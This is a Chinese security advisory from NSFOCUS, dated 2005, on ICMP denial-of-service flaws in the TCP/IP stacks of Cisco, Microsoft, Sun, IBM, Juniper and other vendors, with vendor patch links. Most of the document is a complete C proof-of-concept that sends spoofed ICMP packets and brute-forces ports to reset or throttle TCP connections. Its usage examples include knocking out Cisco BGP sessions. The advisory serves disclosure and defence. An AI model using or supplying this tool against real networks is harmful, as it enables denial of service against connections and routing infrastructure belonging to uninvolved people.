安全研究

安全漏洞
多家厂商TCP/IP协议栈实现ICMP拒绝服务漏洞

发布日期:2005-04-21
更新日期:2005-04-21

受影响系统:
Cisco Catalyst 6624
Cisco Catalyst 6608
Cisco IOS XR
Cisco IOS 12.3
Cisco IOS 12.2
Cisco IOS 12.1
Cisco IOS 12.0
Cisco PIX Firewall 6.3.3(133)
Cisco PIX Firewall 6.3.2
Cisco PIX Firewall 6.3.1
Cisco PIX Firewall 6.3
Cisco PIX Firewall 6.2.3
Cisco PIX Firewall 6.2.2
Cisco PIX Firewall 6.2.1
Cisco PIX Firewall 6.2
IBM AIX 5.3L
IBM AIX 5.3
IBM AIX 5.2L
IBM AIX 5.2
IBM AIX 5.1L
IBM AIX 5.1
Microsoft Windows XP
Microsoft Windows Server 2003
Microsoft Windows 2000
NetAppliance NetCache C630 3.3.1
SCO Unixware 7.1.4
Sun Solaris 9.0_x86
Sun Solaris 9.0
Sun Solaris 8.0_x86
Sun Solaris 8.0
Sun Solaris 7.0_x86
Sun Solaris 7.0
Sun Solaris 10_x86
Sun Solaris 10
WatchGuard FireboxII Firmware 4.6
WatchGuard FireboxII Firmware 4.5
WatchGuard FireboxII Firmware 4.4
WatchGuard FireboxII Firmware 4.3
WatchGuard FireboxII Firmware 4.2
WatchGuard FireboxII Firmware 4.1
WatchGuard FireboxII Firmware 4.0
WatchGuard SOHO 2.2
WatchGuard SOHO Firewall 5.0.35
WatchGuard SOHO Firewall 5.0.31
WatchGuard SOHO Firewall 5.0.29
WatchGuard SOHO Firewall 5.0.28
WatchGuard SOHO Firewall 2.2.1
WatchGuard SOHO Firewall 2.1.3
WatchGuard SOHO Firewall 1.6
RedBack Networks AOS
Cisco VPN 5000 Concentrator
WatchGuard Firebox V80
WatchGuard Firebox V60
WatchGuard Firebox V100
WatchGuard Firebox V10
WatchGuard Firebox II 4.5
WatchGuard Firebox II 4.1
WatchGuard Firebox Firmware 6.0
WatchGuard Firebox Firmware 5.0
WatchGuard Firebox 4500
WatchGuard Firebox 2500
RedHat Enterprise Linux WS 3
RedHat Enterprise Linux WS 2.1 IA64
RedHat Enterprise Linux WS 2.1
RedHat Enterprise Linux ES 3
RedHat Enterprise Linux ES 2.1
RedHat Enterprise Linux AS 3
RedHat Enterprise Linux AS 2.1 IA64
RedHat Enterprise Linux AS 2.1
RedHat Desktop 3.0
Cisco CSS 11500
Cisco CSS 11000
Cisco GSS 4490
Cisco GSS 4480
Cisco MDS 9000 2.0 (0.86)
Cisco MDS 9000 1.3 (4a)
Cisco MDS 9000 1.3 (3.33)
Cisco MDS 9000
Cisco ONS 15454 IOS-Based Blades
Cisco ONS 15305
Cisco ONS 15302
Juniper Networks M-series Router M5
Juniper Networks M-series Router M40e
Juniper Networks M-series Router M40
Juniper Networks M-series Router M20
Juniper Networks M-series Router M160
Juniper Networks M-series Router M10
Juniper Networks T-series Router T640
Juniper Networks T-series Router T320
RedHat Advanced Workstation 2.1 IA64
RedHat Advanced Workstation 2.1
Wind River Systems BSD/OS 5.0
Wind River Systems BSD/OS 4.3.1
Wind River Systems BSD/OS 4.2
描述:
BUGTRAQ  ID: 13124
CVE(CAN) ID: CVE-2004-1060,CVE-2004-0791,CVE-2004-0790,CVE-2005-0068,CVE-2005-0067,CVE-2005-0066,CVE-2005-0065

TCP/IP互联网控制消息协议(ICMP)是多个厂商都在使用的网络协议,使用IP通讯的主机和路由器可以使用ICMP报告错误和交换控制和状态信息。

多家厂商的TCP/IP协议栈ICMP实现中存在多种拒绝服务漏洞,远程攻击者可能利用这些漏洞对主机进行拒绝服务攻击。

1、多家厂商TCP/IP协议栈实现受连接重置攻击的影响,起因是如果收到了特制的ICMP消息的话就会丢掉已有的连接。远程攻击者可以利用这个漏洞终止目标TCP连接,造成合法用户的拒绝服务。

2、多家厂商TCP/IP协议栈实现受ICMP源站抑制攻击的影响,起因是主机在响应ICMP源站抑制消息时必须降低相关连接的传输速度。远程攻击者可以利用这个漏洞降低TCP连接的性能,造成合法用户的拒绝服务。

3、如果部署使用PMTUD的话,多家厂商TCP/IP协议栈实现受ICMP PMTUD攻击的影响。攻击者可以向目标主机发送特制的ICMP消息,降低特定连接的MTU。远程攻击者可以利用这个漏洞降低TCP连接的性能,造成合法用户的拒绝服务。

<*来源:Fernando Gont
  
  链接:http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
        http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
        http://lwn.net/Alerts/119833/
        http://lwn.net/Alerts/120231/
        http://lwn.net/Alerts/120232/
        http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-57746-1
        http://www.us-cert.gov/cas/techalerts/TA04-111A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* HOD-icmp-attacks-poc.c: 2005-04-15: PUBLIC v.0.2
*
* Copyright (c) 2004-2005 houseofdabus.
*
*              (MS05-019) (CISCO:20050412)
*       ICMP attacks against TCP (Proof-of-Concept)
*
*
*
*                 .::[ houseofdabus ]::.
*
*
*
* [ for more details:
* [ http://www.livejournal.com/users/houseofdabus
* ---------------------------------------------------------------------
* Systems Affected:
*    - Cisco Content Services Switch 11000 Series (WebNS)
*    - Cisco Global Site Selector (GSS) 4480 1.x
*    - Cisco IOS 10.x
*    - Cisco IOS 11.x
*    - Cisco IOS 12.x
*    - Cisco IOS R11.x
*    - Cisco IOS R12.x
*    - Cisco IOS XR (CRS-1) 3.x
*    - Cisco ONS 15000 Series
*    - Cisco PIX 6.x
*    - Cisco SAN-OS 1.x (MDS 9000 Switches)
*    - AIX 5.x
*    - Windows Server 2003
*    - Windows XP SP2
*    - Windows XP SP1
*    - Windows 2000 SP4
*    - Windows 2000 SP3
*      ...
*
* ---------------------------------------------------------------------
* Description:
*    A denial of service vulnerability exists that could allow an
*    attacker to send a specially crafted Internet Control Message
*    Protocol (ICMP) message to an affected system. An attacker who
*    successfully exploited this vulnerability could cause the affected
*    system to reset existing TCP connections, reduce the throughput
*    in existing TCP connections, or consume large amounts of CPU and
*    memory resources.
*    (CAN-2004-0790, CAN-2004-0791, CAN-2004-1060)
*
* ---------------------------------------------------------------------
* Solution:
*    http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
*    http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
*
* Other References:
*    http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html
*    http://www.kb.cert.org/vuls/id/222750
*
* ---------------------------------------------------------------------
* Tested on:
*    - Windows Server 2003
*    - Windows XP SP1
*    - Windows 2000 SP4
*    - Cisco IOS 11.x
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++  : cl -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Win32/cygwin: gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Linux       : gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
*
* ---------------------------------------------------------------------
* Examples:
*
*   client <---> router <---> router <---> server
*
*   CLIENT <---> SERVER
*
*   HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:1
*   (abort the connection)
*
*   HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:2
*   (slow down the transmission rate for traffic)
*
*
*   ROUTER1 <---> ROUTER2
*
*   HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:179 -a:1
*   (DoS Cisco BGP Connections)
*
*   HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:80 -a:2
*   (slow down the transmission rate for traffic)
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/


/* #define _WIN32 */

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
/* IP_HDRINCL */
#include <ws2tcpip.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_PACKET         4096

#define DEFAULT_PORT       80
#define DEFAULT_IP         "192.168.0.1"
#define DEFAULT_COUNT      1


/* Define the IP header */
typedef struct ip_hdr {
        unsigned char  ip_verlen;       /* IP version & length */
        unsigned char  ip_tos;          /* IP type of service */
        unsigned short ip_totallength;  /* Total length */
        unsigned short ip_id;           /* Unique identifier */
        unsigned short ip_offset;       /* Fragment offset field */
        unsigned char  ip_ttl;          /* Time to live */
        unsigned char  ip_protocol;     /* Protocol */
        unsigned short ip_checksum;     /* IP checksum */
        unsigned int   ip_srcaddr;      /* Source address */
        unsigned int   ip_destaddr;     /* Destination address */
} IP_HDR, *PIP_HDR;


/* Define the ICMP header */
/* Destination Unreachable Message */
typedef struct icmp_hdr {
        unsigned char  type;            /* Type */
        unsigned char  code;            /* Code */
        unsigned short checksum;        /* Checksum */
        unsigned long  unused;          /* Unused */
} ICMP_HDR, *PICMP_HDR;


/* 64 bits of Original Data Datagram (TCP header) */
char msg[] =
"\x00\x50"                              /* Source port */
"\x00\x50"                              /* Destination port */
"\x23\x48\x4f\x44";



/* globals */
unsigned long   dwToIP,                 /* IP to send to */
                dwFromIP;               /* IP to send from (spoof) */
unsigned short  iToPort,                /* Port to send to */
                iFromPort;              /* Port to send from (spoof) */
unsigned long   dwCount;                /* Number of times to send */
unsigned long   Attack;



void
usage(char *progname) {
        printf("Usage:\n\n");
        printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> <-fi:SRC-PORT> [-tp:int] [-a:int] [-n:int]\n\n", progname);
        printf("       -fi:IP    From (sender) IP address\n");
        printf("       -ti:IP    To (target) IP address\n");
        printf("       -fp:int   Target open TCP port number\n");
        printf("                 (for example - 21, 25, 80)\n");
        printf("       -tp:int   Inicial value for bruteforce (sender) TCP port number\n");
        printf("                 (default: 0 = range of ports 0-65535)\n");
        printf("       -n:int    Number of packets\n\n");
        printf("       -a:int    ICMP attacks:\n");
        printf("                    1 - Blind connection-reset attack\n");
        printf("                        (ICMP protocol unreachable)\n");
        printf("                    2 - Path MTU discovery attack\n");
        printf("                        (slow down the transmission rate)\n");
        printf("                    3 - ICMP Source Quench attack\n");
        exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
        int i;

        iToPort = 0;
        iFromPort = DEFAULT_PORT;
        dwToIP = inet_addr(DEFAULT_IP);
        dwFromIP = inet_addr(DEFAULT_IP);
        dwCount = DEFAULT_COUNT;
        Attack = 1;

        for (i = 1; i < argc; i++) {
                if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
                        switch (tolower(argv[i][1])) {
                                case 'f':
                                        switch (tolower(argv[i][2])) {
                                                case 'p':
                                                        if (strlen(argv[i]) > 4)
                                                        iFromPort = atoi(&argv[i][4]);
                                                        break;
                                                case 'i':
                                                        if (strlen(argv[i]) > 4)
                                                        dwFromIP = inet_addr(&argv[i][4]);
                                                        break;
                                                default:
                                                        usage(argv[0]);
                                                        break;
                                        }
                                        break;
                                case 't':
                                        switch (tolower(argv[i][2])) {
                                                case 'p':
                                                        if (strlen(argv[i]) > 4)
                                                        iToPort = atoi(&argv[i][4]);
                                                        break;
                                                case 'i':
                                                        if (strlen(argv[i]) > 4)
                                                        dwToIP = inet_addr(&argv[i][4]);
                                                        break;
                                                default:
                                                        usage(argv[0]);
                                                        break;
                                        }
                                        break;
                                case 'n':
                                        if (strlen(argv[i]) > 3)
                                        dwCount = atol(&argv[i][3]);
                                        break;
                                case 'a':
                                        if (strlen(argv[i]) > 3)
                                        Attack = atol(&argv[i][3]);
                                        if ((Attack > 3) || (Attack < 1))
                                        usage(argv[0]);
                                        break;
                                default:
                                        usage(argv[0]);
                                        break;
                        }
                }
        }
        return;
}


/*    This function calculates the 16-bit one's complement sum */
/*    for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
        unsigned long cksum = 0;

        while (size > 1) {
                cksum += *buffer++;
                size  -= sizeof(unsigned short);
        }
        if (size) {
                cksum += *(unsigned char *)buffer;
        }
        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >>16);

        return (unsigned short)(~cksum);
}



int
main(int argc, char **argv)
{

#ifdef _WIN32
        WSADATA         wsd;
#endif
        int             s;
#ifdef _WIN32
        BOOL            bOpt;
#else
        int             bOpt;
#endif
        struct sockaddr_in remote;
        IP_HDR          ipHdr,
                        ipHdrInc;
        ICMP_HDR        icmpHdr;
        int             ret;
        unsigned long   i, p;
        unsigned short  iTotalSize,
                        iIPVersion,
                        iIPSize,
                        p2,
                        cksum = 0;
        char            buf[MAX_PACKET],
                        *ptr = NULL;
#ifdef _WIN32
        IN_ADDR         addr;
#else
        struct sockaddr_in addr;
#endif

        printf("\n               (MS05-019) (CISCO:20050412)\n");
        printf("       ICMP attacks against TCP (Proof-of-Concept)\n\n");
        printf("        Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");

        if (argc < 3) usage(argv[0]);

        /* Parse command line arguments and print them out */
        ValidateArgs(argc, argv);
#ifdef _WIN32
        addr.S_un.S_addr = dwFromIP;
        printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
        addr.S_un.S_addr = dwToIP;
        printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
        printf("[*] Count:   %d\n", dwCount);
#else
        addr.sin_addr.s_addr = dwFromIP;
        printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
        addr.sin_addr.s_addr = dwToIP;
        printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
        printf("[*] Count:   %d\n", dwCount);
#endif

#ifdef _WIN32
        if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
                printf("[-] WSAStartup() failed: %d\n", GetLastError());
                return -1;
        }
#endif
        /*  Creating a raw socket */
        s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
        if (s == INVALID_SOCKET) {
#else
        if (s < 0) {
#endif
                printf("[-] socket() failed\n");
                return -1;
        }


        /* Enable the IP header include option */
#ifdef _WIN32
        bOpt = TRUE;
#else
        bOpt = 1;
#endif
        ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef _WIN32
        if (ret == SOCKET_ERROR) {
                printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
                return -1;
        }
#endif


        /* Initalize the IP header */
        iTotalSize = sizeof(ipHdr) + sizeof(icmpHdr) + sizeof(msg)-1 + sizeof(ipHdrInc);

        iIPVersion = 4;
        iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

        ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
        ipHdr.ip_tos = 0;               /* IP type of service */
                                        /* Total packet len */
        ipHdr.ip_totallength = htons(iTotalSize);
        ipHdr.ip_id = htons(42451);     /* Unique identifier */
        ipHdr.ip_offset = 0;            /* Fragment offset field */
        ipHdr.ip_ttl = 255;             /* Time to live */
        ipHdr.ip_protocol = 0x1;        /* Protocol(ICMP) */
        ipHdr.ip_checksum = 0;          /* IP checksum */
        ipHdr.ip_srcaddr = dwFromIP;    /* Source address */
        ipHdr.ip_destaddr = dwToIP;     /* Destination address */


        ipHdrInc.ip_verlen = (iIPVersion << 4) | iIPSize;
        ipHdrInc.ip_tos = 0;            /* IP type of service */
                                        /* Total packet len */
        ipHdrInc.ip_totallength = htons(sizeof(ipHdrInc)+20);
        ipHdrInc.ip_id = htons(25068);  /* Unique identifier */
        ipHdrInc.ip_offset = 0;         /* Fragment offset field */
        ipHdrInc.ip_ttl = 255;          /* Time to live */
        ipHdrInc.ip_protocol = 0x6;     /* Protocol(TCP) */
        ipHdrInc.ip_checksum = 0;       /* IP checksum */
        ipHdrInc.ip_srcaddr = dwToIP;   /* Source address */
        ipHdrInc.ip_destaddr = dwFromIP;/* Destination address */


        /* Initalize the ICMP header */
        icmpHdr.checksum = 0;
        if (Attack == 1) {
                icmpHdr.type = 3;       /* Destination Unreachable Message */
                icmpHdr.code = 2;       /* protocol unreachable */
                icmpHdr.unused = 0;
        } else if (Attack == 2) {
                icmpHdr.type = 3;       /* Destination Unreachable Message */
                icmpHdr.code = 4;       /* fragmentation needed and DF set */
                icmpHdr.unused = 0x44000000; /* next-hop MTU - 68 */
        } else {
                icmpHdr.type = 4;       /* Source Quench Message */
                icmpHdr.code = 0;
                icmpHdr.unused = 0;
        }

        memset(buf, 0, MAX_PACKET);
        ptr = buf;

        memcpy(ptr, &ipHdr, sizeof(ipHdr));       ptr += sizeof(ipHdr);
        memcpy(ptr, &icmpHdr, sizeof(icmpHdr));   ptr += sizeof(icmpHdr);
        memcpy(ptr, &ipHdrInc, sizeof(ipHdrInc)); ptr += sizeof(ipHdrInc);
        memcpy(ptr, msg, sizeof(msg)-1);
        iFromPort = htons(iFromPort);
        memcpy(ptr, &iFromPort, 2);

        remote.sin_family = AF_INET;
        remote.sin_port = htons(iToPort);
        remote.sin_addr.s_addr = dwToIP;

        cksum = checksum((unsigned short *)&ipHdrInc, 20);
        memcpy(buf+20+sizeof(icmpHdr)+10, &cksum, 2);

        cksum = checksum((unsigned short *)&ipHdr, 20);
        memcpy(buf+10, &cksum, 2);

        for (p = iToPort; p <= 65535; p++) {
                p2 = htons((short)p);
                memcpy((char *)(ptr+2), &p2, 2);
                buf[22] = 0;
                buf[23] = 0;
                cksum = checksum((unsigned short *)(buf+20), sizeof(icmpHdr)+28);
                memcpy(buf+20+2, &cksum, 2);

                for (i = 0; i < dwCount; i++) {
#ifdef _WIN32
                        ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
                                sizeof(remote));
#else
                        ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
                        sizeof(remote));
#endif
#ifdef _WIN32
                        if (ret == SOCKET_ERROR) {
#else
                        if (ret < 0) {
#endif
                                printf("[-] sendto() failed\n");
                                break;
                        }
                }
        }

#ifdef _WIN32
        closesocket(s);
        WSACleanup();
#endif

        return 0;
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 请见各自厂商就这些漏洞发布的安全公告。

厂商补丁:

Cisco
-----
Cisco已经为此发布了一个安全公告(cisco-sa-20050412-icmp)以及相应补丁:
cisco-sa-20050412-icmp:Crafted ICMP Messages Can Cause Denial of Service
链接:http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS05-019)以及相应补丁:
MS05-019:Vulnerabilities in TCP/IP Could Allow Remote Code Execution and Denial of Service (893066)
链接:http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx

RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2005:017-01)以及相应补丁:
RHSA-2005:017-01:Updated Itanium kernel packages fix security vulnerabilities
链接:http://lwn.net/Alerts/120232/

Sun
---
Sun已经为此发布了一个安全公告(Sun-Alert-57746)以及相应补丁:
Sun-Alert-57746:Sun TCP Connections May Experience Performance Degradation If Certain ICMP Error Messages Are Received
链接:http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-57746-1

CERT
----
CERT已经为此发布了一个安全公告(TA04-111A)以及相应补丁:
TA04-111A:Vulnerabilities in TCP
链接:http://www.us-cert.gov/cas/techalerts/TA04-111A.html

浏览次数:9350
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障